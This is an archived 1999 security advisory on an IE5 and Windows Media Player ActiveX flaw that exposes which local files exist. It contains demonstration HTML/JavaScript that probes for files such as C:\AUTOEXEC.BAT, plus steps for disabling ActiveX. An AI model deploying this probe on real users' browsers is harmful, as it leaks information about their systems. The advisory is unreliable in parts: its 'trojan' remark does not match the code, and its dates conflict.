IE5
and Media Player File Exposure Reported November 14, 1999 by Georgi Guninski
Internet Explorer 5.0 under Windows 95 (guess other versions are affected) and Windows Media Player ActiveX object allow checking the existence of local files and directories. This vulnerability may be exploited by HTML email or news group posting. The problem is an error code returned by Windows
Media Player ActiveX DEMONSTRATION CODE Paste this code into an HTML file, save it to your Web server, then access the newly created page using Internet Explorer 5.0. If ActiveX is enabled, the trojan (while harmless) will add itself to your system. <object id="wm" WIDTH=0 HEIGHT=0 classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95"><br> </object><br> <SCRIPT><br> // -2147220970<br> function checkfile()<br> \{<br> b=document.all.wm;<br> b.FileName=document.forms\[0\].elements\[0\].value;<br> if (b.ErrorCode == -2147220970)<br> alert("File does not exist")<br> else<br> alert("File exists");<br> \}<br> </SCRIPT><br> <FORM><br> <INPUT TYPE="TEXT" VALUE="C:\AUTOEXEC.BAT" SIZE=60><br> <INPUT TYPE="SUBMIT" VALUE="Check file" onclick="checkfile()"><br> </FORM> DEFENSE To guard against the risks presented in this bulletin, be sure to adjust control of ActiveX Scripting, Controls, and Plugins on your IE5 Browser. To do so, choose the Tools menu, select Options, and then click the Security tab. On the dialog, choose the Internet zone, and click the Custom Level button, which opens a new dialog. On the new dialog, scroll through the list and adjust all ActiveX properties to either "Disable" or "Prompt." Keep in mind that if you set these controls to "Prompt," you may experience a large number of prompts on the screen while surfing the Internet. If the prompts become a bother, simply readjust the ActiveX properties to "Disable." VENDOR RESPONSE Microsoft is aware of this issue, however they have released no statement as of 1pm CST on November 4, 1999.
Discovered by Georgi Guninski Posted here at NTSecurity.net on November 14, 1999 |
IE5 and Media Player File Exposure - 10 Nov 1999
0 comments
Hide comments